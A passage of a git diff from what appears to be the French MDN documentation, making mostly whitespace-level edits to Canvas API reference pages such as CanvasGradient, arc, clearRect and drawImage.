name="smoothbtn" checked="checked" id="smoothbtn"> - Enable image smoothing + <input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"> + Enable image smoothing </label> </div> ``` diff --git a/files/fr/web/api/canvas_api/tutorial/transformations/index.md b/files/fr/web/api/canvas_api/tutorial/transformations/index.md index 490e52c4fe..fa45263a14 100644 --- a/files/fr/web/api/canvas_api/tutorial/transformations/index.md +++ b/files/fr/web/api/canvas_api/tutorial/transformations/index.md @@ -190,7 +190,7 @@ Par défaut, une unité sur la toile est exactement un pixel. Si nous appliquons ### Un exemple `scale` -Dans ce dernier exemple, nous allons dessiner des formes avec différents facteurs d'échelle. +Dans ce dernier exemple, nous allons dessiner des formes avec différents facteurs d'échelle. ```js function draw() { diff --git a/files/fr/web/api/canvasgradient/addcolorstop/index.md b/files/fr/web/api/canvasgradient/addcolorstop/index.md index b4a77e50dc..dcacbfbe6e 100644 --- a/files/fr/web/api/canvasgradient/addcolorstop/index.md +++ b/files/fr/web/api/canvasgradient/addcolorstop/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasGradient/addColorStop --- {{APIRef("Canvas API")}} -La méthode CanvasGradient.addColorStop () ajoute un nouvel arrêt, défini par un `décalage` et une `couleur`, au dégradé. Si le décalage n'est pas compris entre 0 et 1, une erreur INDEX_SIZE_ERR est générée, si la couleur ne peut pas être analysée en tant que {{cssxref ("<color>")}} CSS, une erreur SYNTAX_ERR est générée. +La méthode CanvasGradient.addColorStop () ajoute un nouvel arrêt, défini par un `décalage` et une `couleur`, au dégradé. Si le décalage n'est pas compris entre 0 et 1, une erreur INDEX_SIZE_ERR est générée, si la couleur ne peut pas être analysée en tant que {{cssxref ("<color>")}} CSS, une erreur SYNTAX_ERR est générée. ## Syntaxe @@ -26,9 +26,9 @@ La méthode CanvasGradient.addColorStop () ajoute un nouvel arrêt, défini pa ## Exemples -### Utilisation de la méthode `addColorStop` +### Utilisation de la méthode `addColorStop` -Il s'agit seulement d'un simple fragment de code qui utilise la méthode `addColorStop` avec un objet {{domxref("CanvasGradient")}}. +Il s'agit seulement d'un simple fragment de code qui utilise la méthode `addColorStop` avec un objet {{domxref("CanvasGradient")}}. #### HTML @@ -56,8 +56,8 @@ Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct d ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> var gradient = ctx.createLinearGradient(0,0,200,0); @@ -99,7 +99,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-canvasgradient-addcolorstop", "CanvasGradient.addColorStop")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-canvasgradient-addcolorstop", "CanvasGradient.addColorStop")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasgradient/index.md b/files/fr/web/api/canvasgradient/index.md index be3e32d89c..d499735bee 100644 --- a/files/fr/web/api/canvasgradient/index.md +++ b/files/fr/web/api/canvasgradient/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/CanvasGradient --- {{APIRef("Canvas API")}} -L'interface **`CanvasGradient`** représente un objet opaque décrivant un dégradé. Il est retourné par les méthodes {{domxref("CanvasRenderingContext2D.createLinearGradient()")}} ou {{domxref("CanvasRenderingContext2D.createRadialGradient()")}}. +L'interface **`CanvasGradient`** représente un objet opaque décrivant un dégradé. Il est retourné par les méthodes {{domxref("CanvasRenderingContext2D.createLinearGradient()")}} ou {{domxref("CanvasRenderingContext2D.createRadialGradient()")}}. ## Propriétés @@ -20,16 +20,16 @@ _Représentant un objet opaque, il n'y a aucune propriété exposée._ ## Méthodes -_Il n'y a pas de méthode héritée._ +_Il n'y a pas de méthode héritée._ - {{domxref("CanvasGradient.addColorStop()")}} - - : Ajoute un nouveau point d'arrêt, défini par un `décalage` et une `couleur`. Si le décalage n'est pas compris entre 0 et 1, une `INDEX_SIZE_ERR` est générée ; si la couleur ne peut être analysée comme une {{cssxref("<color>")}} CSS, une `SYNTAX_ERR` est générée. + - : Ajoute un nouveau point d'arrêt, défini par un `décalage` et une `couleur`. Si le décalage n'est pas compris entre 0 et 1, une `INDEX_SIZE_ERR` est générée ; si la couleur ne peut être analysée comme une {{cssxref("<color>")}} CSS, une `SYNTAX_ERR` est générée. ## Spécifications | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "the-canvas-element.html#canvasgradient", "CanvasGradient")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "the-canvas-element.html#canvasgradient", "CanvasGradient")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs @@ -37,5 +37,5 @@ _Il n'y a pas de méthode héritée._ ## Voir également -- Créateur dans {{domxref("CanvasRenderingContext2D")}}. +- Créateur dans {{domxref("CanvasRenderingContext2D")}}. - L'élément {{HTMLElement("canvas")}} et son interface associée {{domxref("HTMLCanvasElement")}}. diff --git a/files/fr/web/api/canvasrenderingcontext2d/arc/index.md b/files/fr/web/api/canvasrenderingcontext2d/arc/index.md index 823c70dfc6..5c845f8199 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/arc/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/arc/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/arc --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.arc()`** de l'API Canvas 2D permet d'ajouter un arc de cercle au tracé, en le centrant aux positions _(x, y)* et avec un rayon *r* qui démarre à *angleDépart* et qui finit à *angleFin*, dans la direction de *sensAntiHoraire* (par défaut en sens horaire). +La méthode **`CanvasRenderingContext2D.arc()`** de l'API Canvas 2D permet d'ajouter un arc de cercle au tracé, en le centrant aux positions _(x, y)* et avec un rayon *r* qui démarre à *angleDépart* et qui finit à *angleFin*, dans la direction de *sensAntiHoraire* (par défaut en sens horaire). ## Syntaxe @@ -16,19 +16,19 @@ La méthode **`CanvasRenderingContext2D.arc()`** de l'API Canvas 2D permet d'ajo - `x` - : La position en x du centre de l'arc. - `y` - - : La position en y du centre de l'arc. + - : La position en y du centre de l'arc. - `radius` _(rayon)_ - : Le rayon de l'arc. - `startAngle` _(angle départ)_ - - : La valeur de l'angle avec laquelle démarre l'arc de cercle, mesurée dans le sens horaire à partir de l'axe x positif et exprimé en radians. + - : La valeur de l'angle avec laquelle démarre l'arc de cercle, mesurée dans le sens horaire à partir de l'axe x positif et exprimé en radians. - `endAngle` _(angle fin)_ - - : La valeur de l'angle avec laquelle se finit l'arc de cercle, mesurée dans le sens horaire à partir de l'axe x positif et exprimé en radians. + - : La valeur de l'angle avec laquelle se finit l'arc de cercle, mesurée dans le sens horaire à partir de l'axe x positif et exprimé en radians. - `anticlockwise` _(sens anti-horaire)_ {{optional_inline}} - - : Un {{jsxref("Booléen")}} facultatif qui, si à `true`_(vrai),_ indique que l'arc sera dessiné dans le sens inverse des aiguilles d'une montre entre les deux angles. Par défaut, la valeur est le sens des aiguilles d'une montre. + - : Un {{jsxref("Booléen")}} facultatif qui, si à `true`_(vrai),_ indique que l'arc sera dessiné dans le sens inverse des aiguilles d'une montre entre les deux angles. Par défaut, la valeur est le sens des aiguilles d'une montre. ## Exemples -### En utilisant la méthode `arc` +### En utilisant la méthode `arc` Voici un code simple permettant de dessiner un cercle . @@ -56,8 +56,8 @@ Modifiez le code ci-dessous et voyez les changements en direct sur le canvas : ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.beginPath(); @@ -95,7 +95,7 @@ window.addEventListener("load", drawCanvas); ### Exemple avec différentes formes -Dans cet exemple, plusieurs formes différentes sont dessinées, afin de montrer les possibilités offertes par `arc()`. +Dans cet exemple, plusieurs formes différentes sont dessinées, afin de montrer les possibilités offertes par `arc()`. ```html hidden <canvas id="canvas" width="150" height="200"></canvas> @@ -133,7 +133,7 @@ for (var i = 0; i < 4; i++) { | Spécification | Statut | Commentaire | | -------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arc", "CanvasRenderingContext2D.arc")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-arc", "CanvasRenderingContext2D.arc")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs @@ -141,11 +141,11 @@ for (var i = 0; i < 4; i++) { ## Notes spécifiques à Gecko -Avec Gecko 2.0 {{geckoRelease("2.0")}}: +Avec Gecko 2.0 {{geckoRelease("2.0")}}: - Le paramètre `anticlockwise` est optionnel, -- Une valeur négative pour le rayon lance une erreur de type {{domxref("DOMError", "IndexSizeError")}} ( "L'index ou la taille est négatif ou supérieur à la valeur autorisée" ). +- Une valeur négative pour le rayon lance une erreur de type {{domxref("DOMError", "IndexSizeError")}} ( "L'index ou la taille est négatif ou supérieur à la valeur autorisée" ). ## Voir aussi -- L'Interface JavaScript à laquelle appartient la méthode : {{domxref("CanvasRenderingContext2D")}} +- L'Interface JavaScript à laquelle appartient la méthode : {{domxref("CanvasRenderingContext2D")}} diff --git a/files/fr/web/api/canvasrenderingcontext2d/beginpath/index.md b/files/fr/web/api/canvasrenderingcontext2d/beginpath/index.md index b0931493df..47e6e8bc3d 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/beginpath/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/beginpath/index.md @@ -51,8 +51,8 @@ ctx.stroke(); ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code" style="height:200px"> // First path @@ -102,7 +102,7 @@ window.addEventListener("load", drawCanvas); | Specification | Status | Comment | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beginpath", "CanvasRenderingContext2D.beginPath")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-beginpath", "CanvasRenderingContext2D.beginPath")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/beziercurveto/index.md b/files/fr/web/api/canvasrenderingcontext2d/beziercurveto/index.md index 6a49fdd769..389259f6a1 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/beziercurveto/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/beziercurveto/index.md @@ -93,7 +93,7 @@ Cet exemple dessine une courbe cubique de Bézier simple en utilisant `bezierCur #### JavaScript -La courbe débute au point spécifié par `moveTo()` : (30, 30). Le premier point de contrôle est placé à (120, 160), le second à (180, 10) et le point d'arrivée à (220, 140). +La courbe débute au point spécifié par `moveTo()` : (30, 30). Le premier point de contrôle est placé à (120, 160), le second à (180, 10) et le point d'arrivée à (220, 140). ```js const canvas = document.getElementById("canvas"); diff --git a/files/fr/web/api/canvasrenderingcontext2d/canvas/index.md b/files/fr/web/api/canvasrenderingcontext2d/canvas/index.md index c537047361..e515d96d0e 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/canvas/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/canvas/index.md @@ -11,7 +11,7 @@ translation_of: Web/API/CanvasRenderingContext2D/canvas --- {{APIRef}} -La propriété **`CanvasRenderingContext2D.canvas`** est une référence à l'objet {{domxref("HTMLCanvasElement")}} qui est associé au contexte. Il peut être {{jsxref("null")}} s'il n'est pas associé à un élément {{HTMLElement("canvas")}}. +La propriété **`CanvasRenderingContext2D.canvas`** est une référence à l'objet {{domxref("HTMLCanvasElement")}} qui est associé au contexte. Il peut être {{jsxref("null")}} s'il n'est pas associé à un élément {{HTMLElement("canvas")}}. ## Syntaxe @@ -25,7 +25,7 @@ Soit cet élément {{HTMLElement("canvas")}}: <canvas id="canvas"></canvas> ``` -Vous pouvez obtenir la référence à l'élément `canvas` grâce à `CanvasRenderingContext2D` en utilisant la propriété `canvas` : +Vous pouvez obtenir la référence à l'élément `canvas` grâce à `CanvasRenderingContext2D` en utilisant la propriété `canvas` : ```js var canvas = document.getElementById("canvas"); @@ -37,7 +37,7 @@ ctx.canvas // HTMLCanvasElement | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-canvas", "CanvasRenderingContext2D.canvas")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-canvas", "CanvasRenderingContext2D.canvas")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/clearrect/index.md b/files/fr/web/api/canvasrenderingcontext2d/clearrect/index.md index 36000420e8..59aca48a7f 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/clearrect/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/clearrect/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/clearRect --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.clearRect()`** de l'API 2D des Canvas met en noir transparent tous les pixels dans le rectangle défini par le point de départ de coordonnées _(x, y)_ et par les tailles _(largeur, hauteur)_, supprimant tout contenu précédemment dessiné. +La méthode **`CanvasRenderingContext2D.clearRect()`** de l'API 2D des Canvas met en noir transparent tous les pixels dans le rectangle défini par le point de départ de coordonnées _(x, y)_ et par les tailles _(largeur, hauteur)_, supprimant tout contenu précédemment dessiné. ## Syntaxe @@ -14,23 +14,23 @@ La méthode **`CanvasRenderingContext2D.clearRect()`** de l'API 2D des Canvas me ### Paramètres - `x` - - : La coordonnée sur l'axe des *x* du point de départ du rectangle. + - : La coordonnée sur l'axe des *x* du point de départ du rectangle. - `y` - - : La coordonnée sur l'axe des *y* du point de départ du rectangle. + - : La coordonnée sur l'axe des *y* du point de départ du rectangle. - `largeur` - : La largeur du rectangle. - `hauteur` - - : La hauteur de rectangle. + - : La hauteur de rectangle. ## Notes d'utilisation -Un problème classique avec `clearRect` est qu'il peut apparaître comme ne fonctionnant pas si l'on n'[utilise pas les trajets de façon appropriée](/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques#Drawing_paths). N'oubliez pas d'appeler {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} avant de commencer à dessiner une nouvelle image après avoir appelé `clearRect`. +Un problème classique avec `clearRect` est qu'il peut apparaître comme ne fonctionnant pas si l'on n'[utilise pas les trajets de façon appropriée](/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques#Drawing_paths). N'oubliez pas d'appeler {{domxref("CanvasRenderingContext2D.beginPath", "beginPath()")}} avant de commencer à dessiner une nouvelle image après avoir appelé `clearRect`. ## Exemples -### Utilisation de la méthode `clearRect` +### Utilisation de la méthode `clearRect` -Ceci est seulement un fragment de code simple qui utilise la méthode `clearRect`. +Ceci est seulement un fragment de code simple qui utilise la méthode `clearRect`. #### HTML @@ -57,7 +57,7 @@ ctx.clearRect(10, 10, 100, 100); // ctx.clearRect(0, 0, canvas.width, canvas.height); ``` -Modifiez le code suivant et voyez vos changements en direct dans le canevas : +Modifiez le code suivant et voyez vos changements en direct dans le canevas : #### Code jouable @@ -110,7 +110,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-clearrect", "CanvasRenderingContext2D.clearRect")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/closepath/index.md b/files/fr/web/api/canvasrenderingcontext2d/closepath/index.md index 174105faf5..b35d863b66 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/closepath/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/closepath/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/closePath --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.closePath()`** de l'API Canvas 2D provoque le retour du stylo au point de départ du sous-traçé courant. Il le fait en ajoutant une ligne droite entre le point courant et le point rejoint. Si la figure a déjà été fermée ou n'est constituée que d'un seul point, cette méthode ne provoque rien. +La méthode **`CanvasRenderingContext2D.closePath()`** de l'API Canvas 2D provoque le retour du stylo au point de départ du sous-traçé courant. Il le fait en ajoutant une ligne droite entre le point courant et le point rejoint. Si la figure a déjà été fermée ou n'est constituée que d'un seul point, cette méthode ne provoque rien. ## Syntax @@ -44,8 +44,8 @@ Editez le code ci-dessous et observez les répercutions dans le canvas: ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code" style="height:140px;"> ctx.beginPath(); @@ -88,7 +88,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-closepath", "CanvasRenderingContext2D.closePath")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-closepath", "CanvasRenderingContext2D.closePath")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/createlineargradient/index.md b/files/fr/web/api/canvasrenderingcontext2d/createlineargradient/index.md index 6785b0f24e..4bfb807aba 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/createlineargradient/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/createlineargradient/index.md @@ -11,7 +11,7 @@ La méthode **`CanvasRenderingContext2D.createLinearGradient()`** de l'API Canva Cette méthode retourne un {{domxref("CanvasGradient")}} linéaire. -NOTE : les coordonnées sont globales, aussi soyez conscient du fait que, lors de l'utilisation "fillRect" (et de ses amis), les coordonnées NE sont PAS relatives aux coordonnées spécifiées dans les arguments de "fillRect". +NOTE : les coordonnées sont globales, aussi soyez conscient du fait que, lors de l'utilisation "fillRect" (et de ses amis), les coordonnées NE sont PAS relatives aux coordonnées spécifiées dans les arguments de "fillRect". ## Syntaxe @@ -37,7 +37,7 @@ NOTE : les coordonnées sont globales, aussi soyez conscient du fait que, lors ### Utilisation de la méthode `createLinearGradient` -Ceci est seulement un simple fragment de code qui utilise la méthode `createLinearGradient` pour créer un {{domxref("CanvasGradient")}} avec les points de début et de fin spécifiés. Une fois créé, vous pouvez utiliser la méthode {{domxref("CanvasGradient.addColorStop()")}} pour définir de nouveaux arrêts sur le gradient, avec des déplacements et des couleurs spécifiés. Le gradient est appliqué si vous le mettez comme {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} courant, et il est dessiné sur le canevas lors de l'utilisation de la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}}, par exemple. +Ceci est seulement un simple fragment de code qui utilise la méthode `createLinearGradient` pour créer un {{domxref("CanvasGradient")}} avec les points de début et de fin spécifiés. Une fois créé, vous pouvez utiliser la méthode {{domxref("CanvasGradient.addColorStop()")}} pour définir de nouveaux arrêts sur le gradient, avec des déplacements et des couleurs spécifiés. Le gradient est appliqué si vous le mettez comme {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} courant, et il est dessiné sur le canevas lors de l'utilisation de la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect()")}}, par exemple. #### HTML @@ -58,15 +58,15 @@ ctx.fillStyle = gradient; ctx.fillRect(10, 10, 200, 100); ``` -Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel sur le canevas : +Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel sur le canevas : #### Code jouable ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> var gradient = ctx.createLinearGradient(0,0,200,0); @@ -108,7 +108,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createlineargradient", "CanvasRenderingContext2D.createLinearGradient")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-createlineargradient", "CanvasRenderingContext2D.createLinearGradient")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité navigateurs @@ -116,9 +116,9 @@ window.addEventListener("load", drawCanvas); ## Notes spécifiques à Gecko -- A partir de Gecko 2.0 {{geckoRelease("2.0")}}, le fait de spécifier des valeurs non finies déclenche maintenant `NOT_SUPPORTED_ERR` au lieu de `SYNTAX_ERR`. +- A partir de Gecko 2.0 {{geckoRelease("2.0")}}, le fait de spécifier des valeurs non finies déclenche maintenant `NOT_SUPPORTED_ERR` au lieu de `SYNTAX_ERR`. ## Voir aussi -- L'interface la définissant, {{domxref("CanvasRenderingContext2D")}} +- L'interface la définissant, {{domxref("CanvasRenderingContext2D")}} - {{domxref("CanvasRenderingContext2D.createRadialGradient()")}} diff --git a/files/fr/web/api/canvasrenderingcontext2d/direction/index.md b/files/fr/web/api/canvasrenderingcontext2d/direction/index.md index 2ec6290329..af4afb71ae 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/direction/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/direction/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/direction --- {{APIRef}} {{SeeCompatTable}} -La propriété **`CanvasRenderingContext2D.direction`** de l'API Canvas 2D indique la direction de texte courante utilisé lors du dessin de texte. +La propriété **`CanvasRenderingContext2D.direction`** de l'API Canvas 2D indique la direction de texte courante utilisé lors du dessin de texte. ## Syntaxe @@ -20,7 +20,7 @@ Valeurs possibles : - rtl - : La direction du texte est de droite à gauche. - inherit - - : La direction du texte est héritée de l'élément {{HTMLElement("canvas")}} ou du {{domxref("Document")}} comme approprié. + - : La direction du texte est héritée de l'élément {{HTMLElement("canvas")}} ou du {{domxref("Document")}} comme approprié. La valeur par défaut est `inherit`. @@ -28,7 +28,7 @@ La valeur par défaut est `inherit`. ### Utilisation de la propriété `direction` -Ceci est seulement un fragment de code simple utilisant la propriété `direction` pour indiquer un réglage de ligne de base différent. +Ceci est seulement un fragment de code simple utilisant la propriété `direction` pour indiquer un réglage de ligne de base différent. #### HTML @@ -54,8 +54,8 @@ Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel ```html hidden <canvas id="canvas" width="400" height="200" class="playable-canvas"></canvas> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.font = '48px serif'; @@ -95,7 +95,7 @@ window.addEventListener('load', drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-direction", "CanvasRenderingContext2D.direction")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-direction", "CanvasRenderingContext2D.direction")}} | {{Spec2('HTML WHATWG')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/canvasrenderingcontext2d/drawimage/index.md b/files/fr/web/api/canvasrenderingcontext2d/drawimage/index.md index a24333d9f9..e2a1aff462 100644 --- a/files/fr/web/api/canvasrenderingcontext2d/drawimage/index.md +++ b/files/fr/web/api/canvasrenderingcontext2d/drawimage/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/CanvasRenderingContext2D/drawImage --- {{APIRef}} -La méthode **`CanvasRenderingContext2D.drawImage()`** de l'API 2D des Canvas instaure différentes manières de dessiner des images dans les balises canvas. +La méthode **`CanvasRenderingContext2D.drawImage()`** de l'API 2D des Canvas instaure différentes manières de dessiner des images dans les balises canvas. ## Syntaxe @@ -18,28 +18,28 @@ La méthode **`CanvasRenderingContext2D.drawImage()`** de l'API 2D des Canvas ### Paramètres - `image` - - : Un élément à dessiner dans le contexte. La spécification autorise toute source d'image canvas ({{domxref("CanvasImageSource")}}), ainsi qu'une {{domxref("HTMLImageElement")}}, une {{domxref("HTMLVideoElement")}}, une {{domxref("HTMLCanvasElement")}} ou une {{domxref("ImageBitmap")}}. + - : Un élément à dessiner dans le contexte. La spécification autorise toute source d'image canvas ({{domxref("CanvasImageSource")}}), ainsi qu'une {{domxref("HTMLImageElement")}}, une {{domxref("HTMLVideoElement")}}, une {{domxref("HTMLCanvasElement")}} ou une {{domxref("ImageBitmap")}}. - `dx` - - : La coordonnée `x` dans le canvas de destination où placer le coin supérieur gauche de l'`image` source. + - : La coordonnée `x` dans le canvas de destination où placer le coin supérieur gauche de l'`image` source. - `dy` - - : La coordonnée `y` dans le canvas de destination où placer le coin supérieur gauche de l'`image` source. + - : La coordonnée `y` dans le canvas de destination où placer le coin supérieur gauche de l'`image` source. - `dLargeur` - - : La largeur de l'`image` dessinée dans le contexte de la balise canvas. Cela permet d'ajuster la taille de l'image. Si cet argument n'est pas spécifié, l'image prendra sa largeur normale. + - : La largeur de l'`image` dessinée dans le contexte de la balise canvas. Cela permet d'ajuster la taille de l'image. Si cet argument n'est pas spécifié, l'image prendra sa largeur normale. - dHauteur - - : La hauteur de l'`image` dessinée dans le contexte de la balise canvas. Cela permet d'ajuster la taille de l'image. Si cet argument n'est pas spécifié, l'image prendra sa hauteur normale. + - : La hauteur de l'`image` dessinée dans le contexte de la balise canvas. Cela permet d'ajuster la taille de l'image. Si cet argument n'est pas spécifié, l'image prendra sa hauteur normale. - `sx` - - : La coordonnée `x` du bord en haut à gauche de la partie de l'`image` source à dessiner dans le contexte du canvas. + - : La coordonnée `x` du bord en haut à gauche de la partie de l'`image` source à dessiner dans le contexte du canvas. - `sy` - - : La coordonnée `y` du bord en haut à gauche de la partie de l'`image` source à dessiner dans le contexte du canvas. + - : La coordonnée `y` du bord en haut à gauche de la partie de l'`image` source à dessiner dans le contexte du canvas. - `sLargeur` - - : La largeur de la partie de l'image source à dessiner dans le contexte. Si ce n'est pas spécifié, cet argument prend la valeur de la largeur de l'image moins `sx`, autrement dit l'image dessinée dans le contexte sera la partie de l'image d'origine à partir du point s de coordonnées (`sx` ; `sy`) et jusqu'au bord en bas à droite. + - : La largeur de la partie de l'image source à dessiner dans le contexte. Si ce n'est pas spécifié, cet argument prend la valeur de la largeur de l'image moins `sx`, autrement dit l'image dessinée dans le contexte sera la partie de l'image d'origine à partir du point s de coordonnées (`sx` ; `sy`) et jusqu'au bord en bas à droite. - `sHauteur` - : La hauteur de la partie de l'image source à dessiner dans le contexte. De la même manière que pour sLargeur, si aucune valeur n'est donnée cet argument prendra la valeur de la hauteur de l'image moins `sy`. ### Exceptions - `INDEX_SIZE_ERR` - - : Si la balise canvas ou la largeur ou hauteur du rectangle source vaut zero ou moins. + - : Si la balise canvas ou la largeur ou hauteur du rectangle source vaut zero ou moins. - `INVALID_STATE_ERR` - : L'image reçue n'en est pas une. - `TYPE_MISMATCH_ERR` @@ -47,9 +47,9 @@ La méthode **`CanvasRenderingContext2D.drawImage()`** de l'API 2D des Canvas ## Exemples -### Utiliser la méthode `drawImage` +### Utiliser la méthode `drawImage` -Ceci est un extrait de code utilisant la méthode `drawImage` : +Ceci est un extrait de code utilisant la méthode `drawImage` : #### HTML @@ -79,8 +79,8 @@ ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104); <img id="source" src="rhino.jpg" width="300" height="227"> </div> <div class="playable-buttons"> - <input id="edit" type="button" value="Edit" /> - <input id="reset" type="button" value="Reset" /> + <input id="edit" type="button" value="Edit" /> + <input id="reset" type="button" value="Reset" /> </div> <textarea id="code" class="playable-code"> ctx.drawImage(image, 33, 71, 104, 124, 21, 20, 87, 104);</textarea> @@ -119,7 +119,7 @@ window.addEventListener("load", drawCanvas); | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------- | ----------- | -| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawimage", "CanvasRenderingContext2D.drawImage")}} | {{Spec2('HTML WHATWG')}} | | +| {{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-drawimage", "CanvasRenderingContext2D.drawImage")}} | 